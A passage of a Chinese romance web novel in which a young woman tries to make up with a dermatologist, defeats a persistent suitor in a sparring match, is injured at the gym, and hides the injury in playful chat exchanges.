【但我也只是稍微想了一下,真的没有那个意思啊呜呜呜,你就大人大量再给我一次机会,我保证以后都不会了行不行?】 说着又翻遍库存,找到一副遗臭万年的表情包组图,来表达自己的悔恨之情: 【秦桧下跪.jpg】 【王氏下跪.jpg】 【万俟卨下跪.jpg】 【张俊下跪.jpg】 半小时后,时霁问:【这些人跪多久了?】 “!” 还愿意回消息,看起来还有救! 喻了了眼睛一亮,立刻上网搜索了下,然后火速切回来,满心期待地回答:【800年!】 几秒后,得到一句轻飘飘的:【被原谅了?】 “……” 【没有……】 【爆哭.jpg】 【崩溃了.jpg】 【他们真的好没用啊呜呜呜】- 大好的周末,喻了了却只能待在家里上网冲浪,搜索记录满满一页都是“男人生气了该怎么哄”的延伸词条。 底下一众博主的科普,看着都是干货,却愣是没一个能告诉她具体该怎么操作的,反正一整天下来,除了一箩筐的土味情话,她是真的什么也没学到! 她叹了口气,只好上线挂了个号,又把闹钟往前调了三个小时,隔天一早跟具游魂一样蹦起来,匆匆收拾了下,就跑到一家热门网红餐厅买了份爱心早餐,然后赶在医院开门的第一时间直达皮肤科门诊! 终于看到目标出现时,精神都有点恍惚,脑子里一闪而过的全是些: 【拽什么拽啊,不就是长得帅嘛,有什么啊!】 【不知道有什么好吵的,反正最后还不是要和我结婚。】 【我决定向你这股恶势力低头了,希望你不要不识好歹……】 最后亮出挂号单时,甚至还脱口而出了句:“我要说对不起了,麻烦你躺、躺下来听。” “?”时霁一脸遇到疑难杂症的表情,接过挂号单确认了下,好心提醒:“脑科在八楼。” “……” 喻了了看着他铁面无私的侧脸,脑子一抽,又来一句:“你好凶啊,以后也要这么对我们的宝、宝宝吗?” 时霁:“…………” 他这会儿的表情已经像是在看重症患者了,不自觉就抬手探了下她的体温,确认没烧后又觉得可能是系统不对,想了想便摸出手机:“保安电话多少来着?” “啊——”喻了了赶紧按住他的手,并一秒恢复正常:“我错了我错了!我真的知道错了!已经很诚心在忏悔了!” 她抢走他的手机,又扒拉开衣服口袋放回去,这才把早餐往前一推,只求一个改过自新的机会:“你快尝尝这个三明治,听说用料很高级,超级好吃!” 他却丝毫不为所动,把袋子推回去说:“谢谢,吃过了。” 她又打开纸袋:“那这个咖啡——” “不喝咖啡。” “……” 她只顿了一下,就一副我意已决的模样,打破砂锅问到底:“那你喜欢吃什么?我 明早再给你带!” 他扬了扬眉,并不接招:“挂号就是来问这个的?” “啊?” “不是不是!”喻了了愣了一下,这才想起自己憋了一晚上的理由,又赶紧把手肘翻过来,举给他看:“前两天在山上被蚊子咬了,到现在还没消,这个要怎么办?” “……” 时霁甚至还推了下眼镜,才勉强在边缘处发现一个小红点,很想说实在不行就凉拌吧,但职业操守阻止了他:“痒吗?” “昂!”喻了了点头:“要不痒我都没发现呢!” 时霁:“……” 也是辛苦你如此细心了。 难得遇到个如此自珍自重的患者,他就还是给开了支药膏,等药单打印出来后,照例嘱咐:“结算完一楼取药。” “好!” 喻了了接住单子就准备蒙混过关,起身刚要开溜,他却又敲了敲桌面,不咸不淡地提醒:“你的早餐。” 她蔫了一下,噘着嘴说:“但这是给你的。” “谢谢,不需要。” “那你到底喜欢吃什么嘛?我明天……” 没说完。 他指尖一碰,喇叭开始播报:“请2号患者吴金妹到6号诊室就诊——” 喻了了:“……”- 首战告负。 喻了了只好提着早餐去找周晨,以此为交换,得到一个提示:“你就慢慢磨吧,那家伙可不是一般的记仇,更别说是要被‘戴绿帽’这种大事,能这么轻易原谅你才有鬼了。” 好像说了什么,又好像什么都没说。 但不管怎么说,她还是做好了要打攻坚战的准备,第二天依然是6点起床,跑去城东一家老字号糕团店买了份早点,又打着上火长痘的旗号,再次第一个抵达诊室嘘寒问暖,结果也毫无意外,又被两管药膏劝退。 第三天,买的是广式茶点,感觉自己疑似湿疹。 第四天,点了份蟹黄汤包,发现自己有点晒伤。 第五天,打包了手工肉燕,也彻底认清这些不痛不痛的毛病没用,终于还是给自己下了狠手…… 可等到要挂号时,才发现他今天不坐门诊。 找线人问了一下,确认人这会儿是在住院部值班后,又提着早餐赶了过去。 周晨最近被喂养的很好,一听说人要来,提前就在值班室门口候着,见着人影就立刻往上凑:“今天又给我带什么好吃的了?” “……” 喻了了没理他,绕开人就径直往值班室里去,照例先摆出早餐问时霁喜不喜欢,得到否定的答案后,才把手一伸:“我好像过敏了。” 他偏过头去,看着她独独只红肿了一块的手臂,果然有了反应,却无端有些严厉,一眼便拆穿道:“干什么了?” 喻了了见他脸色不对,这才开始有点讪讪,眼神飘忽地说:“就……用了点护肤品啊。” 她也不是要故意卖惨,但前几天他都是随手开个药膏就把她打发了,从头到尾连话都不肯多说几句,要不是实在没有办法,她也不会病急乱投医想起之前库存的面膜,其实刚用完她就后悔了,但用都用了…… “我去——” 周晨跟过来瞅了一下,直接傻眼:“什么护肤品涂一下就搞成这样啊?” “就是……” 她本来就心虚,又担心他会因此想起两个月前的恐怖“猪头”,一时也没太敢说实话:“一点面霜。” 而在时霁听来,却是她的谎话越说越熟练,为了达到目的什么事都做得出来,登时便拧了下眉,语气极度平静,却也疏冷至极:“喻了了。” “你知道自己的行为,是在浪费医疗资源吗。” “……” 喻了了彻底愣住,唇瓣翕张几次都没能说出话来,半晌才惊觉,自己这一星期到底都做了些什么。 她晚上没有时间,想见他就只有白天上班前的一点空档,时间本来就仓促,她又急着把人哄好,就只能一头热地天天过来报到,却根本没有意识到这是他的上班时间,外面还有真正需要治疗的患者,因为她的一己私欲而被迫等待。 从这一点来看,的确就是自己做错,她却不知为何还是有点委屈,以至于憋了好一会儿,才勉强稳住声音,向他道歉:“对不起……我下次不会了。” 时霁:“……” 他其实一直都是这样说话的,更有甚至是如何伤人就如何说,可这会儿看着她缓缓垂下的脑袋,却头一次有点怀疑,自己的话是不是重了点儿。 他张了张唇,刚想找补些什么,她却忽然转身,把早餐交给周晨说“这个给你”后,就脚步很快的离开了值班室。 周晨怀抱美味,也难得没了胃口:“这回你真过分了。” “……” 时霁没说话,神情却不觉有些紧绷。 就当是拿人手短吧,他这会儿就是有点看不过眼:“别说那晚人只是喝醉了随便说说,退一步来讲,她现在跟你有什么关系吗?就算是突然想和别人好了又有什么问题?” “我就问你,她今天要从这出去,直接和那谁好了,你就能爽了?” 第20章 第20章和对象吵架了? 喻了了感觉鼻子很酸,再待下去就要丢大人的那种酸,于是加快脚步出了值班室,又跟在参加百米赛跑似的,一溜烟就蹿出了医院。 外面的太阳很大,乍一冲到室外的时候,明适应刺激得眼睛都睁不开。 她就这么半闭着眼在日头下站了一会儿,像是要给自己杀毒,一直到把无用的脑细胞和乱七八糟的想法全部驱赶完后,才重新归于待机状态,亦步亦趋地往公司的方向去。 进地铁的时候手机响了几下,她心情很差的解锁屏幕,看到来信人的时候心情更差了。 高扬:【周五了,今晚还加班吗】 高扬:【朋友送了两张脱口秀的票,晚上一起去看?】 高扬:【晚点也没事儿,反正开场时间也比较晚】 【不去】 她拧着眉,被迫给自己开机:【你以后不要再找我了】 高扬:【为什么啊】 【出什么事了吗?】 喻了了:【本来也没有很熟啊】 不知道是不是强压下去的情绪又上涌了些,她莫名就有点烦躁:【而且你又不是没有朋友,老来找我干什么?】 【总之就是这样,我要把你删除了,希望你也能把我删掉】 她兀自说完,也不等对面再回复,就直接做了删除处理,没过一会儿又收到条好友申请,点击拒绝后还是会重新收到。 反复几次,她就直接给拉黑了。 本来以为事情到这就算结束,但夜里她终于加完班,跟具游魂一样往外飘的时候,却又看到马路牙子边上停着一辆车。 一见她出现,车主人就从驾驶座上下来,扬手关了车门,三步并两冲她走来,一身黑色劲装在夜色的加持下,很有一种朦胧的救赎感。 见人停在她面前,边上同事低声议论,更有甚者直接开口询问:“你男朋友啊?” “不是!” 喻了了有点生气的否认完,又回过头来:“你到底要干嘛啊?” 高扬冲同事点头以示歉意,而后把人带到一旁,无奈看向她说:“接你看演出啊,这会儿过去也还来得及。” 她拧着眉:“可我都跟你说不去了!” 他却仍然好脾气道:“那我这不是在争取吗?” “……” 喻了了崩溃的“啊”了一声,有种怎么都说不通的无力感,急得原地转了两圈,还是不知道该怎么说后,索性就直白问了:“你是不是喜欢我?” 高扬一副以前怎么没发现你这么可爱的模样,宠溺的笑了下:“也不算太呆嘛。” “……” 喻了了一点都没有被夸奖到的感觉,更加不爽地问他:“所以就是因为这样,你最近才老约我出去的?” “不然呢?”他不仅没否认,还好心给予提示:“哪个男人会在不喜欢的人身上浪费时间啊。” 她想起他之前还假惺惺地给自己“出谋划策” ,更气了:“那你怎么不早说!” 他耸耸肩,理所当然:“我要是说了,你还会答应?” 喻了了:“……” 当然不会! 她虽然不是什么很痴情的人,却也有着最基本的道德观,还做不出来吃着碗里看锅里的事情:“但是我已经有喜欢的人了!” 他并不意外,且看得比她还清楚:“可他不喜欢你啊。” “……” “从这一点来看,我们才是一样的。” “……” 喻了了突然就觉得他很烦人,赶也赶不走,说又说不过!更烦人的是,被他这么一说,她还联想到自己好像也是这样对时霁的。 所以在时霁看来,自己是不是也这么烦人? 猛然认清现实,她本来就在低谷的心情,瞬间就有点暴走:“到底要怎么样你才能离我远点!” 他倒是不骄不躁,顿了一下,反问:“那到底要怎么样,你才能重新考虑我?” “……” 喻了了深呼吸了下,确定自己八成是理论不过之后,也不想再忍了:“好!那我们就打一架吧!” “什、什么?”高扬以为自己幻听。 “我们打一架。” 她很认真地重复了一遍:“如果你赢了,我就重新考虑你。” 高扬沉默半天,还是有点惊疑不定:“……你确定?” 他倒是听说过她爸好像是个警察,可能多少也给她遗传了点强健的身体素质,但他怎么说也是个大男人,平时为了保持身材,也都有健身搏击的习惯,所以这样做真的不会太欺负人吗? “确定!”喻了了很肯定地点头,眼皮都不带眨的说:“明天早上10点,远东大厦12楼浩行道馆,打赢我,就全部都听你的!” …… 高扬感觉自己跟梦游了似的,稀里糊涂就来到了场馆中央,对面站着一身素净道服的喻了了,边上还围着一圈人,个个面露悲戚,仿佛在目送一个人离开。 他正想着自己应该也没那么大威力,就算有,又怎么可能真的对她下死手,边上就忽然走过来一个人,善意地递了套护具给他:“穿上吧,能走得轻松点儿。” “?” 他满脸疑惑,指完自己又指对面:“是给我而不是她吗?” 馆长徐浩然扬起一个望珍重的笑,友情提示:“劝你从现在开始,脑子里除了保命之外就什么都不要再想。” 说完又觉得白说,哪个脑子正常的人会闲着没事和喻了了约架? 要知道她爸可是个常年奔走在外的一线刑警,而她因为从小不服管,身上的功夫与其说是锻炼出来的,不如说是在亲爹手里抗争起来的,要不是诚心和她爹作对,她现在大有可能也是一名刑警。更别说他现在这个道馆,绝大部分也是仰仗她在各种武术大赛里拿的名次,才能在这幢体育大楼里占有一席之地的。 也就是说,这个脑子不清楚的人,面前站着的是一个从小集各家武学于一身,各种格斗金牌拿到手软的曾经的刑警预备役。 而他居然还不知死活的把护具往边上一丢,大言不惭道:“哪有就我一个人穿的道理?既然不穿就都不穿了呗。” 然后仅仅两分钟不到,他就以一种人体极限的死亡姿势,被脸朝下的稳稳摁在地上,连嘶吼声都难以从喉咙里挤出。 喻了了觉得没意思,松手把人往前一搡,决定再给他一次机会。 高扬原地翻滚两圈,又半趴着剧烈咳嗽了半天,都没能从巨大的冲击里缓过神来,却还是有点不信邪,挣扎了下就又冲出去,想以力量取胜,却被喻了了一个侧身躲过,又借着他的力道反向将人锁死。 她的招式里没半点花架子,每个动作都干净利落,在最短的路劲里直击目标,看着简简单单的,却没有一个落点是不让人痛不欲生的。 她有意放水似的,把人钳制住一次又一次。 然而就是这样,他都没能挺过十分钟,就满脸痛苦地举了白旗:“我咳——认、认输认输——” “确定?”喻了了加重了点力道。 “啊——”他满脸狰狞,脖颈后仰到极限:“确定确定!我输了——真的输了——” 她这才“嘁”了一声,没滋没味的松了手,但看着他的惨样,却又莫名有点心虚。 老实说,她约人单挑其实也有点没安好心,虽然主要是因为被烦得没办法,想要尽快有个了解,但也不乏有着心情郁闷,需要发泄一通的意思。 所以就算这个人肉沙包还是差点意思,但鉴于他看起来已经挺惨的了,她就还是伸手拉了一把:“既然这样,希望你遵守约定,以后不要再来找我了。” 她说完就转身,本来是想直接离开,却看到另一侧正在练跳踢木板的学员,全都因为看热闹而处于半停滞状态。 见她一个视线扫过来,才赶紧把后续的动作连接上,但又因为紧张,往上跳的时候没踩稳,身体踢向木板时失去重心,连带着支起木板的钢架一起径直向她砸来。 她本可以躲开,可身后刚回过神的高扬又突发奇想,想试试她的应变能力是不是也这么变态,脑子一抽就从背后冲了过去,愿意是想偷袭,却直接堵死了她的退路,还把人带得往前猛冲了两步。 最后倾斜的钢架上压着一个人,就这么直直地从她身上碾过。 “了了——” “喻教练——” “教练小心——” 所有声音挤成一片。 混乱中央,钢架被人紧急扒拉开,喻了了才得以抱着小腿原地滚了半圈,额角霎时憋出一层闷汗,牙关紧咬,半个字也说不出来- 周六下午。 时霁被喊去参加了个急诊会诊,案例较为复杂,几个科的医生凑在一起讨论近两小时才确定方案。 他揉着眉心从会议室出来,往回走的时候,边上跟过来个同事,苦中作乐地打侃几句:“时医生,今天手机很安静啊。” “怎么了这是,和对象吵架了?” “……”他神情稍滞,没什么意义地扯了下嘴角,人家便知道他不想聊,耸了耸肩就先行离开。 等人走后,他才摸出手机,解锁看了一眼。 也是难得。 连着两天都这么安静。 他停顿一刻,也挺无所谓的收回,兀自回到办公室,接诊坐了两小时门诊,临下班前又接到个过敏患者,乱用护肤品后导致的激素烂脸。 开药的时候,脑海连带着浮现起一只红肿的手臂。 已经两天了。 也不知道擦药了没有。 门诊结束后,他到底还是摸出手机,绷着脸发出一条消息:【公司地址发我】 可直到药房下班,都没能收到回复。 他沉出了口气,又发一条:【叫个外卖给你送药】 而后起身,到外头的药店买了几盒对症的药,借了支笔在盒子上写好用法用量,回到车里又等了一会儿。 耐心快要告罄时,对面终于回复:【不用了】 【我都已经好了】 很明显又是假话。 他拧了下眉,不知道正常被数落了一句应该要气多久,但他这会儿虽然不见得想哄,却也没有要火上浇油的意思,默了一会儿,还是耐着性子说:【这么快?】 却再次石沉大海。 又过了将近十分钟,对面才像是忙到终于想起还有消息要回:【没好彻底,但是快了】 【我自己有药,不用送】 他沉着脸:【你确定?】 【对呀】 喻了了吊着一条腿在床上,好不容易赶走跟前的人,尽量让自己的措辞看起来既正常又不烦人:【一点过敏而已,楼下诊所就能开药】 两分钟后,收到一个字:【行】 喻了了:“?” 不知道为什么。 好像一点恶狠狠的感觉?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 20-30 第21章 第21章你人真好。 没过几天,整形外科冯主任连同科室成员在外院非法牟利致人毁容的案件,如一枚惊雷般炸响长济。 执法人员大早便 抵达现场,将所有涉案者依法批捕,而直到被带走之前,以冯友亮为首的嫌犯都还在高声呐喊,斥责他们没有证据就胡乱抓人。 的确,在不久之前,这些事钻着法律的空子,还可谓天衣无缝、死无对证,所以他们也绝不会想到打破一切平衡的豁口,竟然“仅仅”只是一桩抄袭事件。 如果不是他们财迷心窍,想借由提升职称以便更好的在外牟利,梁正豪就不会因为急需发表文章而选择抄袭,冯友亮更不会因为包庇手下的人继续为他卖命而出手拦下证据,以至于让这次的违规操作成为证据,变成让所有人落马的闭环。 周晨一看完热闹,就马不停蹄赶回办公室,和另一位主角激情复述了下刚刚的精彩画面,说完又开始奇怪:“忙什么大事呢?刚微信喊你也不去?” 时霁正坐在桌前划拉手机,意兴阑珊地搪塞:“万一那几位临走前捅我一刀呢?不得躲远点。” 周晨噎了一下:“……你还挺有自知之明。” 揶揄完还是觉得不对,扯了张椅子在边上坐下:“但这不就是你的人生乐趣吗?因为一点风险就放弃乐趣也不是你风格啊,话说回来,你最近是不是——” 他划拉着椅子凑近,冷不丁扫到时霁的手机屏幕。 虽然他反手就锁了屏,周晨却还是眼尖地看到了满屏的表情包,不用猜就知道是什么人,思路顿时就对上了:“靠!你不会是……又等喻了了消息等到没心情了吧?” 他冷着脸扯过鼠标,矢口否认:“不是。” “啧啧啧。”周晨却压根没听不进去:“原来还有你惦记人家的时候呢?” 时霁眼神极淡地瞥他:“没事就出去。” 正说着,程乐可顺路听这份点心进来,随手往时霁桌上一放,并解释说:“隔壁的实习医,说要感谢你及时为民除害,不然这事儿她也躲不过去。” “嗯,反正说是这样说的,你自己看着处理哈。”说完回自己工位拿了份文件,就又转身出去了。 时霁把东西往边上一推,抬眸看向电脑屏幕,打发人说:“拿走吧。” “别呀——”周晨退后了点儿,难得也有拒绝的时候:“要是别人送的也就算了,但咱这就门对门的,人鼓足勇气给你送点‘爱心’,转头就被我吃了算怎么回事?” 时霁动作一顿,偏头冷笑了下:“这事你干的少了?”也不知道之前那一周的早餐是喂了那只猪。 “……” “那能一样吗!”周晨挺直脊背,正义凛然地说:“之前那我可是人家钦点的助攻,偶尔吃点道具怎么了?” 时霁扬了扬眉,状似无意地接茬:“那钦点你的人呢?” “这就不需要你了?” “怎么就不……”周晨差点都要回话了,才猝不及防闻到一股酸劲儿,反应过来后别提有多痛快了:“想套我话呢?” “……” “那你到底是想问人家现在还需不需要我?还是需不需要你啊?” “……” 他嗤了一声,无所谓道:“爱说不说。” “行啊。”周晨摸出手机,故弄玄虚:“既然你不在意的话,那我就劝下她,还是彻底放弃算了,免得她老来打扰你清静。” 时霁没拦,也没什么表情,只是说:“你发个试试。” “……”周晨想起刚被带走的那拨人,默默收回手机,瞬间就换了副表情:“我这不也是为你好?再说你两一天到晚这样僵着,你就能好受了?” 他语气一般,明显不太认同:“是我要和她僵着?” 他难道没提过要给她送药? 难道不是她再三拒绝自己,还这么多天不见人影,消息也没有一条的? “哦……”周晨拉长语调,一点反驳的意思也没有:“也就是说,之前连续拒绝人家一周早餐的人不是你?” “……” “教训人家浪费医疗资源的也不是你?” “……” 时霁难得语塞,半晌才绷着脸回:“我说错了?” “没错。”周晨耸耸肩,也无所谓:“我就是发现,人家觉得你难搞好像也不是没有理由,怪不得现在连你消息也不想听了。” 他拧了下眉:“什么意思?” 周晨又翻出手机,直接亮出聊天记录给他看。 大概一周之前,喻了了就找过他一次,说自己有点事要处理,可能得有一段时间都过不来了,让他帮忙看着点时霁,要是有什么情况记得和她说!然而就在他报备了几次,有患者问时霁要微信和约吃饭后,她却又忽然回复:【算了】 【还是别和我说了】 时霁抬眸:“什么叫别和她说了?” 周晨收回手机:“我本来也不知道,现在好像又有点理解了。” “记得那晚她们在帐篷里说的话吗?” 时霁下颌紧绷,面色已经有点严峻。 周晨又说:“说你难搞,既然暂时搞不定,那不如、就先和那谁试一试。” “……” 周晨拍了拍他的肩,最后劝了一句:“要道歉就尽早,趁现在时间还短,他两应该还没什么进度,后悔还来得及。” 时霁却沉着脸,一句话也没说。 他也并没有因此去找喻了了。 虽然就他那天的行为而言,去道个歉也并不为过,但在了解到这种情况后才去,感觉就像是他在担心她会跟别人跑了才追悔莫及似的,未免也太难看了点。 且不知出于什么心理,他总感觉她应该做不出这样的事来,以她的性格,就算决定放弃自己,大概率也不会再是高扬。 或许真的就只是有什么事,暂时过不来了呢?可又好像还是说不通,能有什么事,会耽误到连一条消息都没时间发? 所以现在既不是高扬,也不再是自己了吗? 他其实最后也没能想通,却还是决定尊重她的选择,既然已经不想再来找自己了,他再上赶着,好像也没什么意思。 于是便这么放任处之,又风平浪静的过了一周。 本来也是八字没一撇的事,他当然完全没什么情绪。 可就在又一次有人来送外卖时,他居然下意识就看了眼面单,无果后又打开手机,直接点进某个对话框。 本想看看是不是会有人来认领,视线却停在满屏跳跃的表情包,和不停声明“我真的知道错了”的言语间,忽然就涌起一种上一秒还在被人拼命哄着,下一秒就直接被打进冷宫的错乱感。 无端就有点怒火中烧。 然后像是终于找到较劲的理由,凭着一股要兴师问罪的冲动,冷不丁打字:【喻了了】 发出之后才意识到自己在做什么。 刚要撤回,指尖落在上面,又迟迟没有动作。 对面好像也有点紧张,像是完全没想到会被cue到一样,顶框忙忙碌碌“正在输入…”了半天,才非常谨慎地蹦出一个:【啊?】 看到她也没有想象的轻松,高涨的气焰才稍稍回落了些,竟然还有点希望,她仅仅只是生气了,一直在等自己哄。 他顿了半晌,才绷着脸问:【你生气了?】 “?”喻了了愣了一下:【没有啊】 而他好像又不太擅长哄人:【那你什么意思】 “……” 喻了了理解了下:【你是说我最近没有去找你吗?】 【是因为有点事情,不太方便过去,等我忙完再去找你可以吗?】 理由未免过分牵强,他一时也不知道自己是想破冰还是发泄:【忙到连消息也没空发?】 不止如此,他还很敏锐的发现,她现在连表情包都不发了。 喻了了:【那倒没有……】 喻了了:【我就是怕你觉得我烦嘛】 她后来翻过聊天记录,也想象了一下,如果是高扬用这种频率找自己聊天,她估计是真的会被烦死! 所以为了不招人烦,她这段时间就没有再找过他,本来还能让周晨帮忙打探情况,后来发现知道情况又无能为力其实更加难受!就又忍痛让他还是不要不说了!所以这段时间,她真的就是靠生熬才努力忍了这么久的! 时 霁却没好气:【我没觉得】 有这么了解吗?就随便猜他的想法? 【啊?】 喻了了愣了愣:【是我可以给你发消息的意思吗?】 “……” 他沉出了口气,想说不是,你爱发不发!最后却又不知是在忧心谁会没有台阶下,才强自心平气和了下:【不然呢!】 喻了了觉得他人还挺好的,哪怕是不喜欢的人这么给他发消息,他都不会觉得烦,但就算是他人好,自己好像也还是得有点自知之明:【哦】 时霁以为自己看错:【哦??】 喻了了连忙补充:【好的!】 【我知道了!】 时霁:【知道什么了?】 喻了了:【可以给你发消息啊】 喻了了:【你人真好】 时霁:【?】 时霁:【你又瞎猜什么了?】 喻了了:【没有呀】 喻了了:【就是觉得你愿意收我消息,人很好嘛】 但我还是会克制一下的! 时霁不仅没有半点被夸到的感觉,还无端有种她必定理解歪了的直觉,以防万一似的,又问:【你是不是该来复查了】 【过敏吗?】 喻了了疑惑道:【都半个月了,已经好了呀】 你也知道都半个月了? 他冷着脸说:【脱发!】 【噢……】 喻了了感觉他不仅人好,还很负责,居然连这种事情都还记得,但她此刻显然是希望他可以不要那么负责,赶紧翻了下日历,才钻到空子说:【但是好像还差几天欸,要到周四才满一个月】 “……” 时霁感觉毕生的耐心都快耗尽了,却还是深呼吸了下:【那下周四来吗?】 喻了了低头看了眼自己的腿:“……” 别说下周了,就是下个月也不一定能见人吧? 她摸着耳朵,犹豫半天,才很小心地说:【要不不去了吧……】 【反正就是用那个药,我到时候用完自己再去药店买一下就行,这样就不用再挂号占用医疗资源了!】 “……” 他刚想掀桌,顿时又噎住:【还说没生气?】 喻了了:【就是没有啊】 她很认真的解释:【是你说的浪费医疗资源不好嘛,我觉得你说得对呀,所以能不去就不去了嘛】 时霁忽然就有点脸疼,还有种想道歉都没门的淤堵感,只能仍由回旋镖扎到自己:【也没那么对】 【该看还是要看】 喻了了:【好的】 他又问:【那下周四来吗?】 “……” 喻了了挠了挠头,也很为难。 她当然也想去啊,但现在这个样子要怎么去嘛?到时候他又以为自己是故意自残卖惨,更生气了怎么办?而且她好不容易才忍了半个月,要是现在暴露岂不是前功尽弃?更别说就现在这样,她就是哄人也很不方便啊! 但他都连着问了三遍,自己要是还拒绝的话,他会不会也生气啊? 她很崩溃地想了半天,还是找不到折中的办法,最后只能弱弱地迂回:【到时候再说行吗?】 并祈祷到时候他一定要忘掉这件事情! 时霁的确窝火,主要是想不通这有什么好犹豫的,明明之前还一天到晚往这边跑,现在自己再三邀请她还这么勉强? 但想到本来就是自己不对,也不想再激化矛盾到血压飙升,就还是极力按捺了下:【行】 【周三再来问你】 喻了了囧:“……” 真的没有忘记的可能吗? 第22章 第22章你是要偷我的表情包吗?…… 不仅没有,他好像还把这件事记得很牢,提前几天就找了她一次,意思是也没有一定得等到一个月,前后差不多就行,主要看她什么时候有空。 喻了了:【哦】 喻了了:【那稍微晚一点过去也是可以的吗?】 时霁:“……” 【你到底在忙什么?】 喻了了:【工作呀】 【最近组里接了两个投标项目,有好多方案要赶,我忙得都快脚不沾地了】 时霁:【只是工作?】 喻了了:【对呀】 她可一点都没撒谎,包括两个项目和脚不沾地,所以也还算理直气壮:【我们每个项目周期都得挺长的,忙起来的时候组里少一个人都不行】 她其实还想问,你是不是有点想见我呀? 可本来是个挺开心的事,现在居然会担心他回答是,最后只能转移话题说:【等我忙完马上过去找你!】 【不然你现在有什么想吃的,我给你点外卖行吗?】 时霁:【不必】 他看到外卖两个字都有点应激,再说他现在缺的是外卖吗? 喻了了抱头:【哦……】 果然还是想多了吗,他拒绝自己还是这么毫不犹豫的呀…… 喻了了丧下来,也不再多话讨人嫌,话题到这里便有点戛然而止的意思,时霁等了一会儿,还是不见下文,手指往下一划,只看到一排正正经经的文字,忽然又有点魔怔:【喻了了】 喻了了:【啊?】 【你表情包呢】 他揶揄:【都删了?】 【没有呀】 她显然没反应过来:【都在库存里呀】 时霁:【那你不发?】 这次没有,上次也没有。 “?”喻了了有点摸不着头脑:【你是要偷我的表情包吗?】 她只能想到这个理由:【可以啊】 【想要什么款式的?我找给你】 “……” 他沉着脸:【不用!】 …… 话题彻底结束,喻了了有点遗憾地叹了口气,但不管怎么说,也算蒙混过去了,而且按刚刚对话的结果来看,好像自己周四不去复查也没什么问题? 这么想着,她忽然就对自己的智商起了敬畏之心!居然能在聊天的过程中,顺带着就把难题解决了! 然而还没敬畏两天,也就是周三当晚,她就又收到了一条消息,带着一种最后期限的紧迫,相当直白地问她:【明天来吗?】 “……” 喻了了憋了半天,还是没忍住:【囧.jpg】 【捂脸.jpg】 【瑟瑟发抖.jpg】 【吓到吃手手.jpg】 【隔一个月再去行吗?下次复查我一定到!】 “……” 不知是不是预料过最坏的结果,现在只是看到聊天画风恢复原样,时霁的神情就松动了些,又看她也不像是在撒谎,到底还是动了恻隐之心:【真这么忙?】 喻了了:【嗯嗯.jpg】 想到他好像还挺惦记自己的表情包的,她顿时就跟祭出保命符似的,一连又发了好几个:【点头如捣蒜.jpg】 【你说的都对.jpg】 【全网人民的肯定.jpg】 【……】 他默了一会儿:【加班别太晚,早点睡】 喻了了松了口气:【好!】 【忙完就可以过来,不用非等到下个月】 【好!】 话说到这里,事情便暂时算是揭过了,却又好像是变成一颗闷雷,隐匿在幽微处,不知何时又会引爆- 周六上午,时霁闲来无事,被庄延喊去射箭馆充了波人气。 效果也的确不错,短短两个小时,馆内的人数就肉眼可见的增长起来,虽然主要是为了搭讪,但对庄延来说,只要场子能热起来就是对的。 只是在又一次看到有人被劝退后,他也不免有些奇怪:“上回那小姑娘呢?怎么没跟你一块过来?” 时霁虽然是这儿的老会员了,但带过来的异性也就上回那一个,当时看着还挺粘人,虽然那会儿好像还不是情侣,但看情况也就八九不离十。 本来以为年卡被赢走之后,自己以后也少不得要吃几波狗粮,可 今天他不仅是一个人过来的,整个人的气场看着还有点闷,从头到尾不是在默默发箭,就是在冷声拒绝。 听到声音就烦似的,又发完一支箭,才惜字如金地回了个:“忙。” “?”庄延明显不信:“大周末有什么好忙的?不会是吵架了吧?” 顿了一下,又狐疑地补充:“还是分了?” “……” 虽然是有点无稽之谈了,时霁却还是嫌弃地瞥了他一眼,像觉得他有点乌鸦嘴似的,寡声道:“就是忙。” “忙到周末都没空陪你?”庄延却不以为然,扫视了边上一圈虎视眈眈的女生说:“还敢把你一个人给放出来?我看她是不想跟你好了吧?” “……” 他一脸过来人的模样:“现在的小姑娘我还不了解?真喜欢你的时候多忙都有空,要不喜欢你了那再空也是忙。” “……” 时霁更烦了,又没法反驳似的,瞄准靶心,又闷声发了支箭。 庄延便知道自己猜中了,不由啧了一声,又换了副表情给他支招:“你也别难过,真要放不下就再约约人家?这不现成的年卡还没用吗?你就把人喊过来,看看你有多受欢迎,危机感这不就来了?” “要实在不行,这儿小姑娘不多的是?咱也没必要一棵树上吊死嘛。” 时霁终于放下弓,摸出手机,点开老板娘的微信,按下录音键说:“来,刚最后一句再说一遍。” 庄延:“……” 他一脸菜色,脚下生风,忙不迭溜了。 时霁嗤地一声收回手机,退出界面后又看着好友列表,不由有些出神,默了一会儿,到底还是说服不了自己,便就势问了:【射箭来不来?】 【年卡开这么久,一直都没怎么用过】 庄延的话虽然不中听,却也不是完全没道理,她就算再忙,总也不至于连一面都见不了。 如果她真的还惦记自己的话。 他静默等了半晌,手机却始终安安静静的,一直到临近中午,才像是在世界边缘被注意到:【我刚睡醒……】 他垂眸,难得这样耐心:【那现在来吗?】 喻了了打打删删,半晌才有点忐忑的回:【不去了吧……】 【都这会儿了,我起床收拾一下就要去加班了】 时霁:【那明天呢?】 【周日不是休息吗?】 他像是要快刀斩乱麻,哪怕结果会不尽如人意,也执意想要一个结果,便也不惜压上所有筹码:【射箭或者游泳】 【去吗?】 “……” 喻了了一吧扯过被子,崩溃地闷在黑暗里蹬了几脚,直到因为磕到伤处“嗷”了一下才勉强消停一点。 游泳啊…… 她心心念念的游泳啊…… 现在听到他主动提起,她居然半点也高兴不起来,反而有种被下了最后通牒的感觉,好像只要她再不识好歹一次,他从此就绝对不会再搭理自己了! 她快哭出来了似的,捂着脑袋抓狂半天,最后却还是只能说:【明天也要加班的】 【你可能不知道,我们忙起来的时候,007也是很正常的……】 光是打出这一串字,就已经耗费了她毕生的定力。 她紧张的盯着屏幕,感觉只要再被多问一句,自己可能就真的要摊牌时,对面却忽然松了口:【好】 【我知道了】 时霁自嘲地呵了一声,忽然就觉得自己有点可笑,人家摆明了就是在敷衍搪塞,他却还在装不懂似的自欺欺人。 一次两次不够,非要被三番四次的拒绝才肯认清,自己到底有多荒谬。 他不再自讨没趣。 收拾了一下便走出射箭馆,径直来到电梯间。 他面色冷峻,乘着电梯下行,到12楼的时候,门又开了一下,从外头进来几个身着道服的学员,看样子应该是刚下课。 等门再次合上,其中一个便叹了口气:“也不知道喻教练怎么样了,多久才能回来给我们上课。” “都怪我,自己踩不稳就算了,还偏偏就砸到了喻教练!” 